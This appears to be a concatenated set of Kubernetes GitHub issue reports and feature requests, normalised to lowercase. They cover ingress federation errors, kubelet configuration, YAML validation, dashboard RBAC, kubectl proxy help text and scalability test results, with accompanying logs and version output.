6m\t\t4m\t\t10\t{loadbalancer-controller }\t\t\tnormal\t\tservice\tdefault backend set to nginx:30036\r   5m\t\t4m\t\t2\t{loadbalancer-controller }\t\t\twarning\t\tgce\tgoogleapi: error 400: the resource 'projects/angular-sorter-167417/global/healthchecks/k8s-be-31996--699c6201827491b5' is not ready, resourcenotready\r    \r \r there are some clear differences between the two resources. i have tried to manually created them, without success. i'm open to suggestions.\r  \r   what you expected to happen  : the load to be routed to the on-premise cluster too. i'm aware that this is not officially supported as of today, but i've seen people getting it to work in aws/azure with no problem at all. i'm filling this issue in order to chase at least a temporary workaround until the spec for a hybrid ingress is finished.\r \r   ho to reproduce it    as minimally and precisely as possible :\r 1. create a federation in gke.\r 2. join an on-premise cluster. i've followed these instructions: https://github.com/henriquetruta/hybrid-k8s-federation/\r 3. create a federated deploy, a federated service and a federated ingress.\r 4. the on-premise ingress will not work properly.\r \r   anything else we need to know  :\r the on-premise cluster has no  /var/log/glbc.log  file.\r the l7-default-backend pod has nothing in its logs.\r federation-controller-manager logs:\r    shell\r e0614 14:50:13.426549       1 ingress_controller.go:898  failed to execute updates for default/nginx: the server has asked for the client to provide credentials  put ingresses.extensions nginx \r e0614 14:50:16.159188       1 cluster_client.go:147  failed to list nodes while getting zone names: the server has asked for the client to provide credentials  get nodes \r w0614 14:50:16.159206       1 clustercontroller.go:197  failed to get zones and region for cluster c1: the server has asked for the client to provide credentials  get nodes \r e0614 14:50:21.905797       1 ingress_controller.go:518  internal error: cluster \ c1\  queued for configmap reconciliation, but not found.  will try again later: error = <nil>\r e0614 14:50:41.906015       1 ingress_controller.go:518  internal error: cluster \ c1\  queued for configmap reconciliation, but not found.  will try again later: error = <nil>\r e0614 14:50:57.012691       1 cluster_client.go:147  failed to list nodes while getting zone names: the server has asked for the client to provide credentials  get nodes \r w0614 14:50:57.012712       1 clustercontroller.go:197  failed to get zones and region for cluster c1: the server has asked for the client to provide credentials  get nodes \r e0614 14:51:01.906283       1 ingress_controller.go:518  internal error: cluster \ c1\  queued for configmap reconciliation, but not found.  will try again later: error = <nil>\r i0614 14:51:16.168346       1 deploymentcontroller.go:594  updating nginx in c2\r i0614 14:51:16.168410       1 deploymentcontroller.go:594  updating nginx in local\r e0614 14:51:21.906545       1 ingress_controller.go:518  internal error: cluster \ c1\  queued for configmap reconciliation, but not found.  will try again later: error = <nil>\r e0614 14:51:37.864862       1 cluster_client.go:147  failed to list nodes while getting zone names: the server has asked for the client to provide credentials  get nodes \r w0614 14:51:37.864909       1 clustercontroller.go:197  failed to get zones and region for cluster c1: the server has asked for the client to provide credentials  get nodes \r e0614 14:51:41.906786       1 ingress_controller.go:518  internal error: cluster \ c1\  queued for configmap reconciliation, but not found.  will try again later: error = <nil>\r e0614 14:52:01.907232       1 ingress_controller.go:518  internal error: cluster \ c1\  queued for configmap reconciliation, but not found.  will try again later: error = <nil>\r e0614 14:52:18.733527       1 cluster_client.go:147  failed to list nodes while getting zone names: the server has asked for the client to provide credentials  get nodes \r w0614 14:52:18.733561       1 clustercontroller.go:197  failed to get zones and region for cluster c1: the server has asked for the client to provide credentials  get nodes \r e0614 14:52:21.907710       1 ingress_controller.go:518  internal error: cluster \ c1\  queued for configmap reconciliation, but not found.  will try again later: error = <nil>\r e0614 14:52:41.908053       1 ingress_controller.go:518  internal error: cluster \ c1\  queued for configmap reconciliation, but not found.  will try again later: error = <nil>\r i0614 14:53:09.787667       1 deploymentcontroller.go:594  updating nginx in c1\r    \r events:\r    shell\r 31m        31m         3         nginx     ingress                  normal    createincluster       {federated-ingress-controller }      creating ingress in cluster c1\r 31m        31m         1         nginx     ingress                  normal    createincluster       {federated-ingress-controller }      creating ingress in cluster c2\r 31m        31m         5         nginx     ingress                  normal    updateincluster       {federated-ingress-controller }      updating ingress in cluster local\r 30m        30m         3         nginx     ingress                  normal    createincluster       {federated-ingress-controller }      creating ingress in cluster c1\r 30m        30m         1         nginx     ingress                  normal    createincluster       {federated-ingress-controller }      creating ingress in cluster c2\r 30m        30m         1         nginx     ingress                  normal    createincluster       {federated-ingress-controller }      creating ingress in cluster local\r 4m         29m         152       nginx     ingress                  normal    updateincluster       {federated-ingress-controller }      updating ingress in cluster c2\r 4m         29m         135       nginx     ingress                  normal    updateincluster       {federated-ingress-controller }      updating ingress in cluster c1\r 19m        19m         1         nginx     ingress                  normal    failedclusterupdate   {federated-ingress-controller }      ingress update in cluster c1 failed: the server has asked for the client to provide credentials  put ingresses.extensions nginx \r    \r

we're currently using  \\t  as the separator char, but use tabwriter so we don't have to rely on tabs which are imprecise.  we should probably move to space       and 2 character padding, which provides a nice dense layout without being too tight.

we synchronize master and release  branches  between the k8s.io/kubernetes repo and the staging repos  k8s.io/api, k8s.io/apiserver, ... , but we don't tag the later on releases. everybody vendoring the staging repos has to manually extract the right revision somehow, e.g. via the  kubernetes-sha .\r \r imo we should add tagging of the staging repos to the release process.

it seems we don't have a clear answer to this question: \r \r > do users need to make sure functions in flexvolume binary are thread safe, or flexvolume already guaranteed it before executing them  which i guess so ?\r \r i did not find any clarification in documentation or example, but it seems to be a question deserves a explanation somewhere.  correct me if i missed sth \r \r cc @jingxu97 @saad-ali

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r admindemacbook-pro-2:kubectl admin$ ./kubectl set image -f ../../test/fixtures/doc-yaml/admin/daemon.yaml  =nginx --local\r no matches for apps/, kind=daemonset\r apps/, kind=daemonset matches multiple kinds  apps/v1beta2, kind=daemonset apps/v1, kind=daemonset \r    \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   anything else we need to know?  :\r \r aws has added support for  proxy protocol on network load balancers  http://docs.aws.amazon.com/elasticloadbalancing/latest/network/load-balancer-target-groups.html target-group-attributes , which is very useful if nodes are registered by ip address  see  57249  to get the original client ip to the end pods.

certain flags, like  --hostname-override  are instance-specific, and thus won't play nice with shared configmaps under dynamic kubelet config.\r \r we should still have a solution to expose these parameters via a versioned kubelet config api, rather than command-line flags.\r \r a simple solution could be:\r - add a  kubeletinstanceconfiguration  object to  kubelet.config.k8s.io/v1beta1 .\r - like  kubeletconfiguration / --config , serialize to a file and provide via  --instance-config .\r - this object is not configurable via dynamic kubelet config, as it contains parameters that should be deployed with the node.\r \r it strikes me that  kubeletinstanceconfiguration  could also be a natural place for any fields that describe local topology maintained by the kubelet, e.g.  --dynamic-config-dir  and  --root-dir . importantly, these are places the kubelet should  manage  stuff on the node,  not  places the kubelet should  get  stuff; the latter should be dynamically configurable so that the  stuff the kubelet gets   e.g.  kc.staticpodpath   is also deploy-able via dynamic config in the future, if we so desire.\r \r

  some checkpointing tests  https://k8s-testgrid.appspot.com/sig-node-kubelet kubelet-serial-gce-e2e&include-filter-by-regex=checkpoint  are failing.   56040 seems like the likely cause.\r \r cc @kubernetes/sig-node-test-failures \r /assign @vikaschoudhary16

i accidentally included a duplicate  volumemounts:  line below, and validation did not fail. i expected this to fail:\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: bugtest\r spec:\r   restartpolicy: never\r   containers:\r     - image: debian:stretch\r       name: rbd-rw\r       command:  \ bash\ , \ -c\ , \ cat /proc/mounts | grep /mnt\  \r       volumemounts:\r       - name: foo\r         mountpath: /mnt/foo\r       volumemounts:\r       - name: bar\r         mountpath: /mnt/bar\r   volumes:\r     - name: foo\r       emptydir: {}\r     - name: bar\r       emptydir: {}\r    \r \r but nope, no error on apply, and only one of the volumes shows up:\r \r    \r dev:~ $ kubectl apply -f test.yaml\r pod/bugtest created\r dev:~ $ kubectl logs bugtest\r /dev/mapper/debvg-root /mnt/bar ext4 rw,relatime,errors=remount-ro,data=ordered 0 0\r    \r \r reproduced with client+server kubernetes 1.11.2, and also with the kubectl client at git tip  cffa2aed0e4f3a3723d1cf977e3386dbeb1aa046 :\r \r    \r dev:~ $ kubectl version\r client version: version.info{major:\ \ , minor:\ \ , gitversion:\ v0.0.0-master+$format:%h$\ , gitcommit:\ $format:%h$\ , gittreestate:\ \ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ devel +015873c153 mon aug 13 04:48:19 2018 +0000\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r do we just need to set the yaml package's  decoder.setstrict  https://godoc.org/gopkg.in/yaml.v2 decoder.setstrict  to true?\r \r i see no references to setstrict in the git repo.\r \r will investigate later. filing before i forget.\r \r /cc @lavalamp

a few places related to volume mount needs to be refactored 1. teardown   function in different attachers including gce, aws, cinder  cinder needs refactor in teardown  are identical. also unmountpath in /pkg/volume/util has the same code. should consolidate them together 2. functions including islikelynotmountpoint  , deviceopened  , pathisdevice   does not need mounter interface at all. they should be utility functions 3.  /pkg/volume/util.go vs. /pkg/util/mount/mount_linux.go where to put utility functions?

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-autoscaling-migs/695/  run so broken it didn't make junit output!

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : nothing  , selector, nothing selector\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r   kubernetes version    use  kubectl version  :\r head\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r code snippet:  labels.parse labels.nothing  .string      \r \r   what you expected to happen  :\r i expected  labels.parse labels.nothing  .string    == labels.nothing   \r \r   how to reproduce it    as minimally and precisely as possible :\r https://gist.github.com/rudle/d6225be92164fd235072ffa4a243c32d\r \r   anything else do we need to know  :\r i have already written a patch for this issue. pr coming soon.\r

the merge queue is green with rbac enabled, and the replicaset controller was missing permission to patch pods until fixed in https://github.com/kubernetes/kubernetes/pull/39961\r \r pod adoption and release depend on patching pods, which means that there are no merge-queue-blocking tests that test these features.\r \r given that they are complex and rarely tested manually, we need tests that run as part of the merge queue to ensure they function correctly.

this error message is incredibly common, fairly important for end users to understand, and we have made it so that even the ai people of 2312 will be unable to understand why a configmaps needed its uids to be spec named.\r \r    \r   1h  1h  9  {kubelet 10.1.2.2}  warning  failedmount  mountvolume.setup failed for volume \ kubernetes.io/configmap/39e819a4-e9ad-11e6-addf-080027893417-config-volume\   spec.name: \ config-volume\   pod \ 39e819a4-e9ad-11e6-addf-080027893417\   uid: \ 39e819a4-e9ad-11e6-addf-080027893417\   with: configmaps \ prometheus\  not found\r    \r \r i'm fairly certain the message should be:  unable to start pod - the referenced configmap \ prometheus\  does not exist

the generic apiserver can bind to a zero port. the kernel will select a free port to listen to automatically and the apiserver servesecurely/serveinsecurely logic writes it back to  genericapiserver.effectiveinsecureport . this can be used in tests to start multiple independent apiservers.\r \r the start-up logic of the kube-apiserver makes this impossible to use because clients are created before the server has actually started to serve and gotten a real port.

kubernetes version   :\r    \r kubeadm version\r kubeadm version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:33:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r \r -   os    e.g. from /etc/os-release :\r \r    \r cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r \r -   kernel    e.g.  uname -a  :\r \r linux iz2ze8ctk2q17u029a8wcoz 4.4.0-63-generic  84-ubuntu smp wed feb 1 17:20:32 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r   what happened  :\r errors keep appending to /var/log/syslog file, such as\r    \r apr 21 13:22:11 iz2ze8ctk2q17u029a8wcoz dockerd 28877 : time=\ 2017-04-21t13:22:11.648408804+08:00\  level=error msg=\ handler for get /v1.24/containers/f2fdf1320870ed5050e232bb70c51a4061c1891af19f6019e1a16952513b9025/json returned error: no such container: f2fdf1320870ed5050e232bb70c51a4061c1891af19f6019e1a16952513b9025\ \r \r apr 21 13:22:11 iz2ze8ctk2q17u029a8wcoz kubelet 9278 : e0421 13:22:11.639028    9278 kuberuntime_gc.go:138  failed to stop sandbox \ eb0ad262eae8c35745db431dac0c875c9f490b09edd11d381f0cfab53b533026\  before removing: rpc error: code = 2 desc = networkplugin cni failed to teardown pod \ kube-apiserver-iz2ze8ctk2q17u029a8wcoz_kube-system\  network: cni failed to retrieve network namespace path: error: no such container: eb0ad262eae8c35745db431dac0c875c9f490b09edd11d381f0cfab53b533026\r \r apr 21 13:22:11 iz2ze8ctk2q17u029a8wcoz kubelet 9278 : e0421 13:22:11.640389    9278 docker_sandbox.go:205  failed to stop sandbox \ ed4b844966bb727e3de6e89665d7133cc6d30f969a6f5c785572ea275773390f\ : error response from daemon: {\ message\ :\ no such container: ed4b844966bb727e3de6e89665d7133cc6d30f969a6f5c785572ea275773390f\ }\r \r apr 21 13:22:11 iz2ze8ctk2q17u029a8wcoz kubelet 9278 : e0421 13:22:11.640519    9278 remote_runtime.go:109  stoppodsandbox \ ed4b844966bb727e3de6e89665d7133cc6d30f969a6f5c785572ea275773390f\  from runtime service failed: rpc error: code = 2 desc = networkplugin cni failed to teardown pod \ calico-node-fw6dq_kube-system\  network: cni failed to retrieve network namespace path: error: no such container: ed4b844966bb727e3de6e89665d7133cc6d30f969a6f5c785572ea275773390f\r    \r \r   how to reproduce it    as minimally and precisely as possible :\r \r use kubeadm v1.6.1 to setup a cluster with calico network.\r i thought it was because of the legacy etcd data. but i see  kubeadm reset  clear the etcd data directory. so i cannot figure out why it is happening.\r \r \r \r

we should introduce a buffer  similar to what we have in the webhook output backend  to the log file output backend. audit events should be queued on a relatively large buffer chanel, and an output go routine should grab events off the queue and write them to disk. if an audit event is output when the channel is full, it should be dropped  this should be counted by a prometheus metric, and an e2e test should ensure that the count is below some threshold . this behavior should be optional  configurable \r \r /cc @crassirostris \r \r mitigates: https://github.com/kubernetes/kubernetes/issues/51899

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r for now, ut  testrun  in  pkg/kubelet/cm/deviceplugin/endpoint_test.go  doesn't work because callback function will never be called,  callback function  is rewritten in this function  esetup   :\r \r    go\r e, err := newendpoint socket, \ mock\ , make map string pluginapi.device , func n string, a, u, r   pluginapi.device  {} \r    \r another thing, i'm wondering why we rewrite device health in function  listandwatch  which in this file:  pkg/kubelet/cm/deviceplugin/device_plugin_stub.go  \r \r    go\r \tvar devs    pluginapi.device\r \r \tfor _, d := range m.devs {\r \t\tdevs = append devs, &pluginapi.device{\r \t\t\tid:     d.id,\r \t\t\thealth: pluginapi.healthy,\r \t\t} \r \t}\r \r \ts.send &pluginapi.listandwatchresponse{devices: devs} \r    \r \r   what you expected to happen  :\r \r ut assertion should be executed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r add some logs in callback function of  testrun   , it will show nothing. \r \r   anything else we need to know?  :\r \r i will send a pr to fix this.\r \r /cc @jiayingz @renaudwastaken @lichuqiang wdyt?\r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r while triaging  61456, i also took a look at local.go and believe that  this line  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/local/local.go l288  will also have a similar issue, because it does an  os.stat  on the  m.globalpath , which may not be exposed at the same path in a containerized kubelet.\r \r   what you expected to happen  :\r the fix probably needs to use nsenter.mounter to get the rootfs path in a containerized kubelet environment.

 \r   what happened  :\r i deploy kube dashboard from tag v1.10.2\r https://github.com/kubernetes/kubernetes/tree/v1.10.2/cluster/addons/dashboard\r sign in with kubernetes-dashboard-token.\r and see this error: \ nodes is forbidden: user \ system:serviceaccount:kube-system:kubernetes-dashboard\  cannot list nodes at the cluster scope\ \r \r   what you expected to happen  :\r list of cluster nodes in dashboard\r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy kube dashboard from tag v1.10.2\r \r   anything else we need to know?  :\r no\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.6\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  : coreos 1632.3.0 / 4.14.19-coreos  1 smp wed feb 14 03:18:05 utc 2018 x86_64 intel r  xeon r  cpu e5-2670 v3 @ 2.30ghz genuineintel gnu/linux\r - install tools: flannel\r - others: rbac on\r \r sig/auth\r area/security

  \r   what happened  :\r --as=root seems not to have any effect:\r    \r + rm -rf ./gatlingresults\r + mkdir -p ./gatlingresults\r + kubectl cp --as=root h3046-gatling-test:/tmp/testresults ./gatlingresults\r tar: removing leading '/' from member names\r tar: /tmp/testresults/lost+found: permission denied\r tar: error exit delayed from previous errors\r + ls ./gatlingresults/\r lost+found\r    \r \r   what you expected to happen  :\r as per the  documentation  https://kubernetes.io/docs/reference/kubectl/kubectl/kubectl_cp.md , --as=root should make root the \ username to impersonate for the operation\ .\r instead, it runs as non-root.\r  \r   how to reproduce it  as minimally and precisely as possible   :\r create a pod.\r create a directory in it. in my case, it was a mounted pvc in aws eks. that could be important.\r run  kubectl cp <pod>:/<dir> ./foo \r due to another bug, it will try to copy  /lost+found  which is owned by  root . this bug will make that fail because it's not impersonating root.\r  \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:23:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r aws eks\r \r - os  e.g. from /etc/os-release : alpine linux\r - kernel  e.g.  uname -a  : current latest\r - install tools: helm\r \r

please give some of idea \r \r my environments are like below\r - ubuntu 16.04\r - kubectl version\r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.2\ , gitcommit:\ 66049e3b21efe110454d67df4fa62b08ea79a19b\ , gittreestate:\ clean\ , builddate:\ 2019-05-16t16:23:09z\ , goversion:\ go1.12.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - docker version\r client:\r  version:           18.09.6\r  api version:       1.39\r  go version:        go1.10.8\r  git commit:        481bc77\r  built:             sat may  4 02:35:27 2019\r  os/arch:           linux/amd64\r  experimental:      false\r \r i want to create kubernetes container for \ httpd:lastest\ . i tried 2 ways for this.\r 1 \r kubectl run crenet-fronts-deployment --image=httpd:latest --port=8080 --replicas=3\r kubectl expose deployment crenet-fronts-deployment --type=loadbalancer --name=crenet-fronts-lb\r 2 \r kubectl apply -f httpd-deployment.yaml\r ----- httpd-deployment.yaml -------------\r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: crenet-fronts-deployment\r   labels:\r     app: crenet-fronts-deployment\r spec:\r   replicas: 6\r   selector:\r     matchlabels:\r       app: crenet-front\r   template:\r     metadata:\r       labels:\r         app: crenet-front\r     spec:\r       containers:\r       - name: front-container\r         image: httpd:latest\r         ports:\r         - containerport: 8080\r \r after then, i check the container network status on worker.\r ip netns exec 927391647cb9 netstat -anput\r ------------------ result ------------------------------\r active internet connections  servers and established \r proto recv-q send-q local address           foreign address         state       pid/program name\r tcp        0      0 0.0.0.0:80              0.0.0.0:                listen      18342/httpd\r \r also i tried \ kubectl describe deployments\ \r ----------------------- i checked this result --------------------\r pod template:\r   labels:  app=crenet-front\r   containers:\r    front-container:\r     image:        httpd:latest\r     port:         8080/tcp\r \r this is the issue. the real container works on \ 80\  port, not \ 8080\  which i want to.\r please let me know how to change this work correctly.\r \r \r  

because we create tags non-atomically on aws, there is often/always a window in which things can be in inconsistent states, where we have created the resource but not tagged it.  the consequence could be resource leakage, or  more rarely  infinite loops  see e.g.  11324 .  we may be able to find a procedure, for example by searching for untagged resources and trying to recover from failed creates.  but this is hard because we don't want to go around deleting/claiming a user's non-k8s resources.  retrying tagging will also help   11029 , but we still have a problem if we crash before we are able to tag the resource.

we need something like the debugging services doc  https://github.com/kubernetes/kubernetes/blob/4244a7cb2fff33d5e0c2081357abcd9324bb25af/docs/user-guide/application-troubleshooting.md  it keeps coming up on irc, email etc. people have a hard time with cert. they don't always use the getting-started scripts, and sometimes the script of that cloudprovider doesn't work. i usually point them at scratch.md, but that only helps 25% of the time.  @liggitt @erictune

i noticed some issue when launching container using the daemonset. the same container launched with replicationcontroller works 100% stable. the issue are mostly related to a process restart, some errors and inability to create a named socket. it is not a config issue as, as soon as i add strace in the command line of the process, it starts working fine. it seems some sort of a racing condition with daemoset. the issue is 100% reproducible, i am ready to offer access to the impacted test bed for further troubleshooting. here is the error which is generated when container starts with daemonset:  19202.800318  traps: ovsdb-server 24147  general protection ip:7fb18600be37 sp:7ffef3da0d00 error:0 in libc-2.17.so 7fb185fd5000+1b7000  i am on cenots 7.2, kubernetes 1.3.4-dirty  i needed this version for another issue which is fixed in this release . please let me know if somebody would be interested to check it out.

docker and kubelet are managed by different init system, such as systemd and upstart, based on os and setup. in e2e testing, we usually want to manipulate services like docker. then the test has to accommodate different init systems.    need a uniform util to interact with underlying init system. it should support  status, start, stop, restart  operations.

this is similar to  40657 - it would be really useful to have the following methods exposed:\r   unstructured.setnestedfield  \r   unstructured.setnestedslice  \r   unstructured.setnestedmap  \r \r and the following methods added:\r   unstructured.getnestedfield  \r   unstructured.getnestedstring  \r   unstructured.getnestedslice  \r   unstructured.getnestedmap  \r   unstructured.setnestedstring   - this is a more type-safe and restricted setnestedfield  . setnestedfield   may still be useful though.\r \r /cc @sttts, @calebamiles maybe you could label this issue appropriately so relevant people can see it? thanks in advance!

kubectl version: 1.6.2.\r \r   problem:   help for  kubectl proxy   has an  examples:  section, but half of the examples section are in the main area where instead the command should be explained.  45736 also the examples under the  examples:  and before the  examples:  are overlapping a bit.\r \r    \r to proxy all of the kubernetes api and nothing else, use: \r \r   $ kubectl proxy --api-prefix=/\r   \r to proxy only part of the kubernetes api and also some static files: \r \r   $ kubectl proxy --www=/my/files --www-prefix=/static/ --api-prefix=/api/\r   \r the above lets you 'curl localhost:8001/api/v1/pods'. \r \r to proxy the entire kubernetes api at a different root, use: \r \r   $ kubectl proxy --api-prefix=/custom/\r   \r the above lets you 'curl localhost:8001/custom/api/v1/pods'\r \r examples:\r     run a proxy to kubernetes apiserver on port 8011, serving static content from ./local/www/\r   kubectl proxy --port=8011 --www=./local/www/\r   \r     run a proxy to kubernetes apiserver on an arbitrary local port.\r     the chosen port for the server will be output to stdout.\r   kubectl proxy --port=0\r   \r     run a proxy to kubernetes apiserver, changing the api prefix to k8s-api\r     this makes e.g. the pods api available at localhost:8001/k8s-api/v1/pods/\r   kubectl proxy --api-prefix=/k8s-api\r \r options:\r       --accept-hosts='^localhost$,^127\\.0\\.0\\.1$,^\\ ::1\\ $': regular expression for hosts that the proxy should accept.\r       --accept-paths='^. ': regular expression for paths that the proxy should accept.\r       --address='127.0.0.1': the ip address on which to serve on.\r       --api-prefix='/': prefix to serve the proxied api under.\r       --disable-filter=false: if true, disable request filtering in the proxy. this is dangerous, and can leave you vulnerable to xsrf attacks, when used with an accessible port.\r   -p, --port=8001: the port on which to run the proxy. set to 0 to pick a random port.\r       --reject-methods='post,put,patch': regular expression for http methods that the proxy should reject.\r       --reject-paths='^/api/. /pods/. /exec,^/api/. /pods/. /attach': regular expression for paths that the proxy should reject.\r   -u, --unix-socket='': unix socket on which to run the proxy.\r   -w, --www='': also serve static files from the given directory under the specified prefix.\r   -p, --www-prefix='/static/': prefix to serve static files under, if static file directory is specified.\r \r usage:\r   kubectl proxy  --port=port   --www=static-dir   --www-prefix=prefix   --api-prefix=prefix   options \r \r use \ kubectl options\  for a list of global command-line options  applies to all commands .\r

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no.\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r kubeproxy\r udp proxyloop\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r in  kubernetes/pkg/proxy/userspace/proxysocket.go  the udp proxyloop should write to the connection using a goroutine. this solution implies to handle correctly the buffer usage i.e choose using a pool of buffer vs copying. the buffer size should be handled as discribed in  47659.\r

during the load test  while services were being deleted and likely even before  ~90% of the requests were returned 429. and almost all those 429s were mutating requests and almost all of those were from kubelet/npd. here's how the typical second looked like while this was happening:\r \r 17k qps  ~2k succeeded, 15k got 429 \r almost all of the 15k were mutating requests  exclusively from kubelets  ~11k  and npds  ~4k  , out of which:\r - patch: 9800\r     3900 patch node-status  npd \r     5700 patch pod-status  ~3k  + events  ~2k \r - put: 4300\r     pod-status\r - post: 900\r     nodes  166 \r     events for namespace  611 \r \r  based on api requests seen during the second 09:21:25 in the  apiserver log  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-enormous-cluster/6/artifacts/e2e-enormous-cluster-master/kube-apiserver.log  \r \r cc @kubernetes/sig-node-bugs @kubernetes/sig-scalability-misc  @dchen1107 @yujuhong @gmarek

basic tests for now:\r \r - single pod\r - multiple pods sharing\r - read/write\r - mount/unmount

i find when i delete a deployment ,the pod will not finished,stay in terminating status,why?\r and i try to delete it by force ,but failed\r \r    \r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t09:14:02z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t08:56:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r    \r    kubectl delete pod percona-server-1160017715-46v90 --grace-period=0 --force\r warning: immediate deletion does not wait for confirmation that the running resource has been terminated. the resource may continue to run on the cluster indefinitely.\r error from server  notfound : pods \ percona-server-1160017715-46v90\  not found\r \r    kubectl delete -f monitor/percona-monitor.yml --grace-period=0 --force\r warning: immediate deletion does not wait for confirmation that the running resource has been terminated. the resource may continue to run on the cluster indefinitely.\r error from server  notfound : error when stopping \ monitor/percona-monitor.yml\ : deployments.extensions \ percona-server\  not found\r error from server  notfound : error when stopping \ monitor/percona-monitor.yml\ : services \ percona-server\  not found\r error from server  notfound : error when stopping \ monitor/percona-monitor.yml\ : services \ percona-server-exporter\  not found\r \r \r

subpath unix socket tests can flake because of long socket path. on linux the path limit should be 108 chars or less.\r \r 

